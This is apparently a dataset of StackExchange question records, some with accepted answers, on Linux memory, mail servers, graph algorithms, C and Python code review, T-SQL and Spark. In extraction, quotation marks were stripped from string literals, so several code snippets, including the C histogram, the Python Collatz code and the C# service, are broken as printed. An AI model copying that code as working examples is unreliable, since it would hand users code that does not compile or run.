{  "id": "_unix.58403"  , "question": "I have about 20 email users with accounts on our web host's POP3 server who are getting bombarded with hundreds of spam emails every day.  I setup an Untangle box to deal with the spam, and it does a really good job of getting rid of most of the junk.  The problem is, that throughout the night they receive so much spam that when they attempt to get their email, in the morning it can sometimes take literally hours for all of the messages to be scanned and then delivered to the inbox.What I'd like to do is setup a server to continually get the mail from the web host's POP3 server and store it until the user retrieves it and hopefully avoid the bottleneck of having to filter hundreds or thousands of messages in the morning.I think I can use MailUtils to get the mail from the remote server, but where I fall short is how to store the mail locally and be able to have the users get their mail from the local server.  It seems logical that I'll have to setup a POP3 server for the users to get the stored mail, but how do I transfer (for lack of a better term) the mail into my local POP3 server after I've pulled it from the remote server?"  , "title": "Retrieving email from POP3 server for multiple addresses and storing for local users"  , "tags": "email"  } 
{  "id": "_unix.15256"  , "question": "I have 2x2 GiB sticks of RAM installed.Running memtest86 from the grub boot menu confirms this.. memtest86 reports no errors.  However every which way I check my available memory in a running Ubuntu 10.04 system, it reports only approximately 3.2 GiB.cat /proc/meminfo == 3320132 kBSystem Monitor == 3.2 GiB htop == 3242 MBfree -m ==  3242 MBWho's got my missing RAM ?Updated info: I just now dual-booted into another version of Ubuntu 10.04 on the same hardware (I forgot I had installed it many months ago, for emergencies) :)....   It reports 3.9 GiB, via System Monitor... I've posted my most recent /var/log/messages information at http://pastebin.ubuntu.com/629246/"  , "title": "Why does my system show only 3.2 GiB of RAM when I definitely have 4.0 GiB"  , "tags": "linux;memory;x86;pae"  , "accepted_answer": "A 32-bit address space means that you have space for 4GB of addresses. Ideally the kernel likes to be able to map all physical memory, all the memory of the current task, and all of its own memory. If physical memory alone takes up all of the available 4GB, that won't work. So physical memory is divided into low memory, which is mapped all the time, and high memory, which must be mapped when in use. Unless you're running a patched kernel, on the ix86 architecture, 128MB of address space is devoted to kernel code and data structures, and 896MB is devoted to mapping physical memory (for a total of 1GB).Background reading on the complexities of memory management when your address space isn't comfortably larger than your total memory:High memory on the Linux memory manager wikiHigh memory in the Linux kernel on Kernel TrapMemory mapping chapter in LDD3Excerpts from your kernel logs:BIOS-provided physical RAM map:BIOS-e820: 0000000000000000 - 000000000009f800 (usable)BIOS-e820: 000000000009f800 - 00000000000a0000 (reserved)BIOS-e820: 00000000000f0000 - 0000000000100000 (reserved)BIOS-e820: 0000000000100000 - 00000000cdce0000 (usable)BIOS-e820: 00000000cdce0000 - 00000000cdce3000 (ACPI NVS)BIOS-e820: 00000000cdce3000 - 00000000cdcf0000 (ACPI data)BIOS-e820: 00000000cdcf0000 - 00000000cdd00000 (reserved)BIOS-e820: 00000000d0000000 - 00000000e0000000 (reserved)BIOS-e820: 00000000fec00000 - 0000000100000000 (reserved)BIOS-e820: 0000000100000000 - 0000000130000000 (usable)2404MB HIGHMEM available.887MB LOWMEM available.Zone PFN ranges:DMA      0x00000000 -> 0x00001000Normal   0x00001000 -> 0x000377feHighMem  0x000377fe -> 0x000cdce0Here you have 887MB of low memory: the theoretical maximum of 896MB minus a few MB of DMA buffers (zones of memory used to communicate with hardware devices).Of your physical memory, 3328MB is mapped at addresses below 4GB and 768MB is mapped at addresses above 4GB (the 0x1000000000x130000000 range). You're not getting access to these 768MB, which explains why you only have 3242MB available (4096MB of RAM minus 768MB inaccessible minus 9MB of DMA buffers minus 75MB used by the kernel itself for code and data). I don't know why the BIOS maps some RAM above the 4GB mark, but as a data point, I'm posting this from a PC with 4GB of RAM that similarly has RAM mapped at 0x1000000000x130000000.Mapping physical memory above 4GB requires using PAE. PAE incurs a small performance overhead (in particular, it requires bigger data structures in the memory manager), so it's not systematically enabled. The default Ubuntu kernel is compiled without PAE support. Get the -generic-pae kernel  to be able to access up to 64GB of RAM.TL,DR: Linux is working as expected. The firmware isn't so helpful. Get a PAE-enabled kernel."  } 
{  "id": "_webmaster.14858"  , "question": "I have a problem on OpenSuSE 11.04. I configured apache and enabled mod_rewrite but it doesn't working. on every php file I get 403 forbidden error."  , "title": "Enable mod_rewrite on OpenSuSE 11.04"  , "tags": "php;apache;mod rewrite;httpd.conf"  } 
{  "id": "_cs.6894"  , "question": "The Bellman-Ford algorithm determines the shortest path from a source $s$ to all other vertices. Initially the distance between $s$ and all other vertices is set to $\\infty$. Then the shortest path from $s$ to each vertex is computed; this goes on for  $|V|-1$ iterations. My questions are:Why does there need to be $|V|-1$ iterations?Would it matter if I checked the edges in a different order?Say, if I first check edges 1,2,3, but then on the second iteration I check 2,3,1. MIT  Prof. Eric said the order didn't matter, but this confuses me: wouldn't the algorithm incorrectly update a node based on edge $x_2$ if its value was dependent on the edge $x_1$ but $x_1$ is updated after $x_2$?"  , "title": "Bellman-Ford algorithm - Why can edges be updated out of order?"  , "tags": "algorithms;shortest path"  , "accepted_answer": "Consider the shortest path from $s$ to $t$, $s, v_1, v_2, \\dots, v_k, t$. This path consists of at most $|V|-1$ edges, because repeating a vertex in a shortest path is always a bad idea (or at least there is a shortest path which does not repeat vertices), if we do not have negative weight cycles.In round one, we know that the edge $(s, v_1)$ will be relaxed, so the distance estimate for $v_1$ will be correct after this round. Note that we have no idea what $v_1$ is at this point, but as we've relaxed all edges, we must have relaxed this one as well. In round two, we relax $(v_1, v_2)$ at some point. We still have no idea what $v_1$ or $v_2$ are, but we know their distance estimates are correct.Repeating this, after some round $k+1$, we have relaxed $(v_k, t)$, after which the distance estimate for $t$ is correct. We have no idea what $k$ is until the entire algorithm is over, but we know that it will happen at some point (assuming no negative weight cycles).So, the crucial observation is that after round $i$, the $i$-th node of the shortest path must have its distance estimate set to the correct value. As the path is at most $|V|-1$ edges long, $|V|-1$ rounds suffices to find this shortest path. If a $|V|$th round still changes something, then something weird is going on: all paths should already be 'settled' to their final values, so we must have the situation that some negative weight cycle exists."  } 
{  "id": "_datascience.9177"  , "question": "I am currently reading slides about the $k$-means algorithm. In the analysis, the professor writesMinimize Schwarz Criterion: $W(C) + \\lambda m k \\log R$$W(C)$ is Within-class scatter. I guess $\\lambda$ is a weighting factor which has to be chosen by the developer and $k$ is the number of clusters. But what is $m$ and what is $R$?"  , "title": "How is the Schwarz Criterion defined?"  , "tags": "k means"  } 
{  "id": "_webmaster.38483"  , "question": "How to use a custom nameserver for my domain (like ns1.mydomain.com, ns2.mydomain) instead of ns1.hostingcompany.com, ns2.hostingcompany.com? Will a CNAME help?"  , "title": "How do I add custom nameservers to a domain"  , "tags": "domains;nameserver"  } 
{  "id": "_unix.386943"  , "question": "I'm getting this error on my laptop:psmouse serio1: elantech: unknown hardware version, abortingAs a result the mouse is not functioning. I can use the mouse/touchpad when I am in Linux rescue mode.The grub list is as follows:Centos Linux (3.10.0-514.26.2.el7.x86_64) 7 (Core)Centos Linux (3.10.0-514.el7.x86_64) 7 (Core)Centos Linux (O-rescue-..) 7 (Core)I installed using the Minimal ISO of Centos then updated it and installed GNOME desktop and some development and multimedia plug-ins. I rebooted after each installation and in all instances the mouse worked.With the first two options it worked after installing the OS but since early this morning it doesn't work. In the rescue option it still does.So is there a way to rescue/restore back to the old setting or to populate the configurations that are in the rescue mode into the main Centos mode.This is CentOS 7 on an Lenovo Ideapad Notebook."  , "title": "psmouse serio1 unknown hardware and mouse/touchpad works ONLY in rescue mode"  , "tags": "centos"  } 
{  "id": "_codereview.77830"  , "question": "Can anybody give me suggestions for making it faster? (Project Euler #14)import timestart = time.clock()def collatzChain(n):    count = 1    while n != 1:        if n % 2 != 0:            count += 1            n = (n * 3) + 1        if n % 2 == 0:            count += 1            n = n / 2    return countchainLengths = []startNum = 999999while startNum > 1:    chainLength = collatzChain(startNum)    chainLengths.append(chainLength)    startNum -= 1print(999999 - chainLengths.index(max(chainLengths)))elapsed = time.clock() - startprint(This program took  + str(elapsed) +  seconds.)"  , "title": "Project Euler #14 solution takes quite a long time"  , "tags": "python;programming challenge;python 3.x"  , "accepted_answer": "As @drizzit and @Veedrac pointed out,the key to solving this problem is to avoid counting the sequence twice for the same number.You could build a cache yourself,but @drizzit's answer looks especially interesting.In addition, this is inefficient:    if n % 2 != 0:        count += 1        n = (n * 3) + 1    if n % 2 == 0:        count += 1        n = n / 2Although this will make very little difference (especially after you implement the cache),but since these conditions are mutually exclusive,you should turn the second if to an else,and also remove the duplication in count and the division:    count += 1    if n % 2 != 0:        n = (n * 3) + 1    else:        n /= 2"  } 
{  "id": "_unix.48248"  , "question": "I'm using Linux Mint 13 KDE.  I installed a TrueType font that I have and like (Arrus BT).  I've noticed that the font rendering is noticeably worse on Linux.  If I set hinting to none or slight, the letters appear slightly fuzzy and there is poor contrast.  If I set hinting to full, the letters appear slightly chunky in shape, but the lines are unappealingly thin.  In both cases the letters seem too light, alhtough in the first case it's because they seem to be blurred too much with the background, and in the second case it's because the lines are too thin.I have seen various other postings like this and a few like this that advocate fiddling with .fonts.conf in a way that seems to be outdated (I can set those settings in the System Settings panel).  I've also tried the autohint option described for instance here.  None of these produce what I want.For an illustration, here is the font rendering on Linux with no hinting:Here it is with full hinting:And here it is on Windows:I've used this color scheme because the problem is most pronounced with this sort of situation, where the text is a brighter color on a dark background.  I've tried intermediate hinting options, all of which suffer from basically the same problem (too blurry or too thin).  I've also tried the various subpixel smoothing options (RGB, BGR, etc.), which don't seem to have an appreciable effect on resolving the problem.I see from previous posts on this issue that there are differences of opinion on what looks best in terms of font hinting and smoothing.  Putting all that aside, my question is simple: is there or is there not a way to get Linux to display the font so it looks like it does in Windows, and if so, how?"  , "title": "How to get good (Windows-like) font rendering on Linux Mint KDE"  , "tags": "linux mint;kde;fonts"  , "accepted_answer": "Subpixel smoothing can improve rendering slightly, but not 100% windows-like. Maybe you should try infinality patches? "  } 
{  "id": "_softwareengineering.16016"  , "question": "What is the difference between update and upgrade in the context of application software?"  , "title": "What is the difference between `update` and `upgrade`"  , "tags": "terminology;deployment;software updates"  , "accepted_answer": "Depends entirely on the installation technology, company developing the software and the whim of the person using the terms.  Generally though, updates stay within a product version (for example, hotfixes), while if you want to move to a later version, you would upgrade.So you might install an update (hotfix) for Office 2007, or you might upgrade to Office 2010.This page gives the definition according to Windows Installer: http://msdn.microsoft.com/en-us/library/aa370579(v=VS.85).aspx"  } 
{  "id": "_codereview.82741"  , "question": "I have written a windows service for one of our local servers. This service works like a gem on my local machine, does what it's supposed to (ACCP to exchange db data), but I'm not overly familiar with dependencies. Is this an appropriate way to receive/send a message?string DBP3_US = DBP3_US;string PING_DEPENDENCY = SELECT [SomeColumn] FROM [SomeTable];;protected override void OnStart(string[] args){    SqlDependency.Start(DBP3_US);    Thread Ping_US = new Thread(PingThread);    Ping_US.Name = ping_US;    Ping_US.Start();}private void PingThread(){    CreateCommandWithDependency(PING_DEPENDENCY, Ping_OnChange);}private void CreateCommandWithDependency(string queryText, OnChangeEventHandler e, string db = DBP3_US){    using (SqlConnection con = new SqlConnection(db))    using (SqlCommand cmd = con.CreateCommand())    {        cmd.CommandText = queryText;        cmd.CommandType = CommandType.Text;        cmd.Notification = null;        SqlDependency sqlDep = new SqlDependency(cmd);        sqlDep.OnChange += new OnChangeEventHandler(e);        con.Open();        cmd.ExecuteNonQuery();    }}private void Ping_OnChange(object sender, SqlNotificationEventArgs e){    PingDependency();    Thread Ping_US = new Thread(PingThread);    Ping_US.Start();}private void PingDependency(string db = DBP3_US){    // Do whatever operations are required.}"  , "title": "SQL Dependency with Broker"  , "tags": "c#;sql;multithreading;service broker;sql dependency"  } 
{  "id": "_computergraphics.4848"  , "question": "After taking a look at the Mobius strip, I noticed its equation is really simple and tried to add it into my Raytracer.I tried a naive way by simply generating N triangles attached to each other to obtain the desired shape. While this approach works, the result it not really pretty:(By the way I probably have an issue with my normals but I don't know where it comes from.)I tried it with PovRay and the result was astonishing. Perfectly smooth strip made in a far far FAR smaller time than mine. I'm pretty sure Povray is well optimized but I also think it won't generate triangles like I did.In case that might help, here is the actual code used (C++) :float step = .1f;float halW = 0.5f;_facets.clear();auto lambda = [this] (float v, float t) {  Vec_t p;  float cdv = Tools::Cos(2 * v);  float sdv = Tools::Sin(2 * v);  float ctv = Tools::Cos(v);  float stv = Tools::Sin(v);  float c = 2 + t * ctv;  p.x = c * cdv;  p.z = c * sdv;  p.y = t * stv;  return p;};for (float v = 0.f; v < Globals::PI; v += step){  if (v > Globals::PI)    v = Globals::PI;  for (float t = -halW; t < halW; t += step)  {    if (t > halW)      t = halW;    Vec3 p1 = lambda(v, t);    Vec3 p2 = lambda(v + step, t);    Vec3 p3 = lambda(v, t + step);    Vec3 p4 = lambda(v + step, t + step);    _facets.emplace_back(p1, p2, p3);    _facets.emplace_back(p3, p2, p4);  }}TL;DRHow can I handle parametric surfaces like this one in raytracing?EditAfter letting the above algorithm run for about 20 hours, I got a way prettier result (with 3 torsions instead of 1)"  , "title": "How to handle a parametric equation in raytracing?"  , "tags": "raytracing;rendering;c++"  } 
{  "id": "_unix.62265"  , "question": "I do use iwlist wlan0 scanning and it gives me a fair amount of data, but one part is missing. It is protocol version. By protocol I mean (a/b/g/n).It would be very good to have these commands in standard distro. I am using OpenWRT."  , "title": "Linux find WiFi Networks protocol(a/b/g/n) version of all available access points"  , "tags": "linux;wifi;openwrt"  , "accepted_answer": "iwconfig (and its wireless extension API) is deprecated (it's in maintenance only mode and no new features will be added). Use iw instead.  This requires a moderately recent kernel (e.g. >= 3.0) with support for nl80211.using iw dev wlan0 scan, you can figure out the protocol used:If there are Supported rates below 11mbps (except 6), there might be 802.11b support (even APs which allow disabling b support will announce those rates but reject b-only clients).If there are Supported rates or Extended supported rates above 11mbps or 6mbps, there might be 802.11g support (even APs which are set to require_mode n will announce those rates but reject b/g clients).If there is a HT capabilities IE, there is some kind of 802.11n support. The specific HighTroughput features available are whether there is a secondary channel (in that case you are using a 40 MHz channel, so you have 150 mbps per special stream instead of 72.2 mbps), and the number of spacial streams supported for tx and rx.If you are on the bleeding edge and you see a VHT IE, welcome to the 802.11ac world."  } 
{  "id": "_codereview.106542"  , "question": "From The C Programming Language (K&R):Exercise 1-13. Write a program to print a histogram of the lengths of words in its input. It is easy to draw the histogram with the bars horizontal; a vertical orientation is more challenging.I wrote a program to generate a vertically-oriented histogram. It doesn't accurately handle punctuation (punctuation characters get counted as word characters), but given the limited tools covered in chapter 1 of the book, I felt this was reasonable. I've tried to limit myself to tools covered up until this point in the book (I had to resist the urge to use ternaries in a couple spots).#include <stdio.h>#define IN_WORD     1   /* point in word */#define OUT_WORD    0   /* point out of word */#define MAX_LEN     20  /* max word length to consider */int main(){    int i, j;       /* iterators */    int c;          /* character */    int len;        /* word length */    int state;      /* in/out of word */    int top_count;    int histogram[MAX_LEN];    i = j = c = len = top_count = 0;    state = OUT_WORD;    for (i = 0; i < MAX_LEN; ++i)        histogram[i] = 0;    /* process input */    while ((c = getchar()) != EOF) {        if (c == ' ' || c == '\\t' || c == '\\n') {            if (state == IN_WORD) {                /* increment histogram entry for current word length */                if (len < MAX_LEN)                    j = len;                else                    j = MAX_LEN;                ++histogram[j - 1];                /* keep a record of the highest count */                if (histogram[j-1] > top_count)                    top_count = histogram[j-1];            }            /* reset state */            len = 0;            state = OUT_WORD;        } else {            /* keep track of current word length */            ++len;            state = IN_WORD;        }    }    /* print histogram from top to bottom */    for (i = top_count; i > 0; --i) {        /* print Y-axis */        printf(%3d|, i);        /* print entries for each word length */        for (j = 0; j < MAX_LEN; ++j) {            if (histogram[j] < i)                printf(  );            else                printf( .);        }        putchar('\\n');    }    printf(    );    /* print X-axis */    for (i = 0; i < MAX_LEN; ++i)        printf(--);    putchar('\\n');    return 0;}A small sample run against a quote by Benjamin Franklin:In wine there is wisdom, in beer there is Freedom, in water there is bacteria.  6|   .  5|   .  4|   .     .  3|   .     .  2|   .   . .  1|   .   . .   . . .    ----------------------------------------"  , "title": "K&R (C): generate histogram of word-lengths"  , "tags": "beginner;c"  , "accepted_answer": "Initial reaction to your program is that it seems to be good and clean C code. So the overall impression is good, but there are things to review, even though some comments may be a bit of personal reference.Punctuation char or not  The code includes check against single characters, so the extension to check against the ranges from c > 'a' && c < 'z', should be within reachSplit main method in multiple functions  This might not be covered yet, but I include it as it is good to start doing this as early as possible. However this does introduce the icky subject of passing arrays with/without size. Sorry about that!Use of state vs simple length of current word  The naming of the states was a little unclear to me, and whilst reviewing the logic it hit me that if you are not counting the length of a word (i.e. the character is a legal word character), you can simply test if the length of the word, len, is larger than 0 to match your current IN_WORD state. As such, the state variable can be replaced with a test len > 0Make the most common (shortest?) block come first  In your code you start of the input processing by verifying length of something and adding to the histogram. But of what?  Then comes the block actually increasing the length and reading the words. To me, it is more natural to switch these blocks, so that you know why len has a lengthStay consistent with bracing  For most of the code you've chosen to have start braces at preceding line, and that is a style choice. You've also chosen to let one-liners be without braces, this I would advise against. At some point in time this cause you some issue. My strong suggestion is to always enclose for or if (or similar) blocks with braces always. It will save you some grief further down the line.Include number on both axes  Kind of strange not have numbers on the x-axis. To allow for two digits in the length of word, you can increase width of each column to three charactersSkip empty columns  No need to print the empty columns, is there?Consider changing columnn marker  To me, the . is a little invisible, and I feel the # or * is more intuitive to use to mark the countConsider labeling the axes  Consider adding labels like Count or Occurences, and Word length for the axes. It does however impose a smaller problem of where to put them...Why the putchar, when printf works?  The usage of putchar('\\n'); seems unmotivated, when you can do a printf(\\n);. Is there a reason behind that?Comment on comments  You've added suitable comments in most places, and when going to functions this becomes even more importantprocessingRefactored codeThat is enough rambling, and here is my suggestion to refactor code addressing most of the issues I've commented upon:#include <stdio.h>#define IN_WORD     1   /* point in word */#define OUT_WORD    0   /* point out of word */#define MAX_LEN     20  /* max word length to consider *//* * Reset the histogram to all 0's too clear it out */void init_histogram(int histogram[], size_t histogram_length){    int i;    for (i = 0; i < histogram_length; ++i) {        histogram[i] = 0;    }}/* * Read input, character by character, and divide into * words which are counted the length of (up until the max * max length specified in histogram_length). If word is * actually longer, the histogram records is at max length. * * Count characters, a-z and A-Z, and increase length of word, * and add to histogram if length>0 when we hit a non-character */void create_histogram_from_input(int histogram[], size_t histogram_length){    int len=0;       /* length of current word */    int c;           /* current character */    /* Keep reading character until end of file */    while ((c = getchar()) != EOF) {         // Check if it is an character ...         if ( ( c >= 'a' && c <= 'z') ||              ( c >= 'A' && c <= 'Z') ||              c == '-' ) {            ++len; /* Increase length of current word */        } else {            /* ... it was not a character, so check if we have             * a positive word length             */            if (len > 0) {                /* increment histogram entry for current word length */                if (len >= histogram_length) {                    len = histogram_length;                }                histogram[len - 1]++;                len = 0; /* Reset length of current word */            }        }    }}/* Pretty print the histogram vertically, with numbered x- * and y-axis. Only print as many columns as we have word lengths */void print_histogram(int histogram[], size_t histogram_length){    int i, j, c;    const int y_axis_width = 4;    int top_count = 0; /* Highest count of a given length */    int max_length = 0; /* The longest word in histogram */    /* Find the highest count, and longest word */    for (i = histogram_length; i > 0; --i) {       /* If max_length is not set, and we find a positive length        * whilst going backwards, it is the longest word        */       if (max_length == 0 && histogram[i-1] > 0) {           max_length = i;       }       /* Scan entire histogram to find the highest count of that length */       if (histogram[i-1] > top_count) {           top_count = histogram[i-1];       }    }    /* print histogram from top to bottom */    for (i = top_count; i > 0; i--) {        /* print Y-axis */        printf(%3d|, i); /* If this changes, change y_axis_width */        /* print entries for each word length */        for (j = 0; j < max_length; j++) {            if (histogram[j] < i) {                printf(   );            } else {                printf( # );            }        }        printf(\\n);    }    /* print X-axis separator*/    printf(%*s, y_axis_width,  );    for (i = 0; i < max_length; i++) {        printf(---);    }    printf(\\n);    /* print X-axis numbers */    printf(%*s, y_axis_width,  );    for (i = 0; i < max_length; i++) {        printf(%2d , i+1);    }    printf(\\n);}int main(){    int histogram[MAX_LEN];    /* Reset histogram */    init_histogram(histogram, MAX_LEN);    /* Read input, and fill out the histogram */    create_histogram_from_input(histogram, MAX_LEN);    /* Print out the histogram */    print_histogram(histogram, MAX_LEN);    return 0;}Some extra comments regarding my refactored code:Location of top_count in functions  When all is gathered within main() your choice of doing the top_count in the input processing loop is not the worst. However when dividing into functions, it does rather belong in the print_histogram() instead of input processing. This also removes the extra setting of this multiple times during the processingSize of arrays and functions  One of the major hickups with C is that when an array is sent as an parameter to a function, you loose the size information. It is a best practice to include this as a parameter. For more information see How do I determine the size of my array in C?Some dislike printf(literal string)  This is sometimes frowned upon, as it is considered to be a security issue, especially in the form char *s; ... ; printf(s). The first parameter of printf is supposed to be a format string, and neither the literal string nor the string pointer are safe in that respect. They could be replaced by using printfs(%s, s), but often this is skipped by most peopleThe printf width as parameter trick  Using printf(%*d, width, number), i.e. that is including * in the format string, you can specify the width in the parameter. This allows in my code for setting the leading indent before the x-axis text using the constant y_axis_widthFinding number of columns  To ease the logic of finding the longest word, I reversed the scan for top_count and max_length. This allows me to use one single loop, since top_count doesn't care, but for max_length I can there simply test if is set or not, before checking if that histogram column has a length, which indicates that there is a list one word of that length.A test run against the leading comment of create_histogram_from_input() gave the following output: 15|       #                                14|       #                                13|       #                                12|    #  #                                11|    #  #                                10|    #  #                                 9|    #  #                                 8|    #  #        #                        7|    #  #        #                        6|    #  #        #        #               5|    #  #  #  #  #        #               4|    #  #  #  #  #        #               3|    #  #  #  #  #        #               2|    #  #  #  #  #  #  #  #               1| #  #  #  #  #  #  #  #  #  #        #     ---------------------------------------     1  2  3  4  5  6  7  8  9 10 11 12 13 "  } 
{  "id": "_scicomp.11418"  , "question": "I have to minimize a linear function with respect to variables u which take values [0,1]The number of variables can exceed 10,000There are thousands of linear inequality constraintsI need a solution which is good but does not have to be optimal.Are there any heuristic approaches for doing this ?For example I could allow 0 <= u <= 1 and then use an LP solver. I then iterate by pushing the values of u to 0 or 1 depending on their optimal value from the LP solver.I am not sure how to do this but if this has been looked at then I would like to know.I am using CPLEX."  , "title": "I have to solve a large binary programming task. Should I avoid branch and bound?"  , "tags": "optimization;linear programming;constrained optimization"  } 
{  "id": "_codereview.77277"  , "question": "This is an implementation of the Haversine formula in Microsoft Transact SQL.How can I simplify the function?CREATE FUNCTION dbo.Haversine(@point_a geography, @point_b geography)RETURNS FLOATAS BEGIN    DECLARE @result FLOAT    DECLARE @lat1 FLOAT = @point_a.Lat    DECLARE @lon1 FLOAT = @point_a.Long    DECLARE @lat2 FLOAT = @point_b.Lat    DECLARE @lon2 FLOAT = @POINT_b.Long    DECLARE @earth_radius FLOAT =  6371    DECLARE @dLat FLOAT = RADIANS(@lat2 - @lat1)    DECLARE @dLon FLOAT = RADIANS(@lon2 - @lon1)     SET @lat1 = RADIANS(@lat1)    SET @lat2 = RADIANS(@lat2)    DECLARE @a FLOAT    SET @a = POWER(SIN(@dLat/2),2) + COS(@lat1)*COS(@lat2)*POWER(SIN(@dLon/2),2)    DECLARE @c FLOAT = 2*ASIN(SQRT(@a))    SET @result = @earth_radius * @c;    RETURN @resultENDHere is a test of the function:DECLARE @target_point geography = (SELECT GeoLocation FROM WA_Features WHERE FEATURE_NAME = 'Seattle' AND FEATURE_CLASS='Populated Place');SELECT FEATURE_NAME, dbo.Haversine(@target_point, GeoLocation)*0.62137 FROM WA_Features WHERE FEATURE_CLASS='Lake' ORDER BY dbo.Haversine(@target_point, GeoLocation);Am I calling the function properly? And is there a way to call it only once per row?"  , "title": "Haversine formula in SQL"  , "tags": "sql;sql server;t sql;computational geometry;geospatial"  } 
{  "id": "_scicomp.27346"  , "question": "As per wikipedia, scientists have not been successful to accurately predict the whether which is 2 weeks ahead.Here is the excerpt: The atmosphere is a chaotic system, as a result, small changes to one  part of the system can grow to have large effects on the system as a  whole.This makes it difficult to accurately predict weather more than  a few days in advance, though weather forecasters are continually  working to extend this limit through the scientific study of weather,  meteorology. It is theoretically impossible to make useful day-to-day  predictions more than about two weeks ahead, imposing an upper limit  to potential for improved prediction skill"  , "title": "Why is it not computationally possible to accurately predict the weather that would occur after 14 days?"  , "tags": "computational physics"  } 
{  "id": "_softwareengineering.169807"  , "question": "I've just started work at a small start-up company who mainly uses PHP to develop their front-end apps. I had no prior PHP experience before joining, and this has led to my apps becoming large pieces of spaghetti code. I essentially started by adding code to implement an initial feature, and then continued to hack in more code to implement further features  without much thought for the overall design.The apps themselves output XML to render on small mobile devices.I recently started looking into frameworks that I could use. I reckon an advantage would be that they seem to force developers to modularise their programs using good-practice design patterns. This seems great for someone in my position. The extra functions they provide, for example: interfacing with databases in such a way as to make SQL injection impossible, would be very useful too.The downside I can see is that there will be a lot of overhead for me in terms of the time taken to learn the framework itself (while still getting to grips with PHP itself). I'm also worried that it will be overkill for the scale of the apps we develop. They tend to be programs that interface with a fairly simple back-end DB, and will generate about 5 different XML screens. Probably around 1 or 2 thousand lines of code. The time it takes just to configure the frameworks may not be worth it. The final problem I can see is that developers in the company  who have to go over my code, and who do not know the PHP framework I may use  will have a much harder time understanding it.Given those pros and cons, I'm still not sure on what the best course of action will be; so any advice will be greatly appreciated."  , "title": "Would Using a PHP Framework Be Beneficial in My Context?"  , "tags": "design;php;design patterns;frameworks;software evaluation"  , "accepted_answer": "I think you're actually asking two questions, which I'll try to split out.I reckon an advantage would be that they seem to force developers to  modularise their programs using good-practice design patterns. This  seems great for someone in my position. The extra functions they  provide, for example: interfacing with databases in such a way as to  make SQL injection impossible, would be very useful too.The question is about frameworks conceptually. What you have said is absolutely true. Some frameworks encourage the use of MVC which, in my opinion, is a great way to separate the logic of your code and make it maintainable (abstract is better). There's no net worth to coupling your code to a particular database engine when you can write code once, which will work against any of the popular ones.The downside I can see is that there will be a lot of overhead for me  in terms of the time taken to learn the framework itself (while still  getting to grips with PHP itself). I'm also worried that it will be  overkill for the scale of the apps we develop.This part is about frameworks for your project specifically. This is more difficult for me to answer, but I certainly think you should have a good strong look. Even if you only have a 1 model (one table with your data in), 5 controllers (one for each page of data that you want to manipulate) and 1 view (which just takes the data and spits it out as XML), I still think it'll be worth it. Why? Because it's a common and scalable structure. If you find that, in a few years, you end up with 50 XML pages, 50 JSON pages and 50 text pages - you'll really wish you weren't hacking away at the XML code to get it to json_encode, or toying with strip_tags because your business logic is tightly coupled with the view. Also, once you use some of the automagic features if your framework like forms, authentication, ACL and the like, you'll never want to bore yourself by writing this yourself again. It will just take usage of one of these for you to realise that the time you spend reading the documentation is severely outweighed by the fact you barely need to test the end result compared to if you had written the feature ground-up.The time it takes just to configure the frameworks may not be worth it. Then pick a lightweight and almost-zero configuration framework. I've used CakePHP quite a lot, but I've heard good things about CodeIgniter too. Cake, for example, has one real file that you need to edit: database.php. Everything else is optional, and comes in a debugging mode which you can turn off later once you want to deploy your application.The final problem I can see is that developers in the company  who  have to go over my code, and who do not know the PHP framework I may  use  will have a much harder time understanding it.I wouldn't even consider this as a hurdle (that said, if you have management policies about these things then you should - I am assuming you have been given a new project with the freedom of how you want to approach it). If the developers assigned to review your code cannot get their head around a simple MVC structure, they are in no position to review code. Frameworks are very well divided: the code your write and the code they give you are in completely opposite locations (essentially). All they are really looking at for you is 3 folders: models, controllers, and views where they should be able to look at each file and see if the logic is what they'd expect.In the long run, frameworks are the way to go. If you only want to write a script quickly that you'll only be using for a few days, then don't bother."  } 
{  "id": "_unix.34713"  , "question": "On my laptop the Alt and Windows keys are in the opposite positions that I'd prefer them in. Swapping them is fairly easy. However, my external (USB) keyboard has the Alt and Windows keys in the order I prefer, meaning when I switch over to the external keyboard I have the unpreferable keyboard arrangement.Is there some manner of Linux-y voodoo I can invoke to detect whether input is coming from an external keyboard or not, and have it swap the two keys accordingly? If that's pushing it, I'd settle for a way to detect when an external keyboard is plugged in. Or are there any other reasonable solutions that I haven't considered?"  , "title": "Swap alt and windows key except when using an external keyboard"  , "tags": "linux;x11;usb;keyboard"  , "accepted_answer": "You can have entirely different layout settings for every keyboard you connect; the Unreliable Guide to xkb configuration might be helpful. In your case, you might get by with Doing it the easy way therein. Be advised, though, that the guide was written at a time when the X server had a config file that was honoured. Since then, configuration of the keyboard has moved at least into HAL and back out again, so heaven knows where you have to put your extra Options XkbOptions ... when it's a new moon now.If all else fails and your X is sufficiently recent, yes, get the device number from xinput list and call setxkbmap -device ... ..., call it in your X startup file and maybe also look at udev to be notified when that keyboard is plugged in."  } 
{  "id": "_unix.346108"  , "question": "Is there any way to use Skype with video on Arch?  The AUR packagedoesn't install, and it seems that the web interface has no video."  , "title": "Video Skype on Arch"  , "tags": "arch linux;skype"  } 
{  "id": "_codereview.140722"  , "question": "I am new to Spark and Scala and I have solved the following problem. I have a table in database with following structure:     id       name      eid        color     1        John      S1         green     2        Shaun     S2         red     3        Shaun     S2         green     4        Shaun     S2         green     5        John      S1         yellowAnd now I want to know how many times a person is red, green or yellow. So the result should be like this   name     red       yellow        green   John     0           1             1   Shaun    1           0             2 I have written this code and it solves the problem, But I am not sure is this the best way to do it. It think my code is large for this small problem and it can be done with smaller code and with best practice. I need some guidance  val rdd = df.rdd.map {  case Row(id: Int, name: String, eid: String, color: String) => ((eid),List((id, name, eid, color)))}.reduceByKey(_ ++ _)val result = rdd.map({  case (key, list) => {    val red = list.count(p => p._4.equals(red))    val yellow = list.count(p => p._4.equals(yellow))    val green = list.count(p => p._4.equals(green))    val newList = list.map(x => (x._2, red, yellow, green))    (key, newList.take(1))  }}).flatMap {  case ((eid), list) =>    list.map {      case (name, red, yellow, green) =>        (eid, name, red, yellow, green)    }}import SparkConfig.sc.sqlContext.implicits._val rDf = result.toDF(eid, name, red, yellow, green);rDf.show()"  , "title": "Classifying and counting database entries using Scala map and flatMap"  , "tags": "beginner;scala;apache spark;mapreduce"  } 
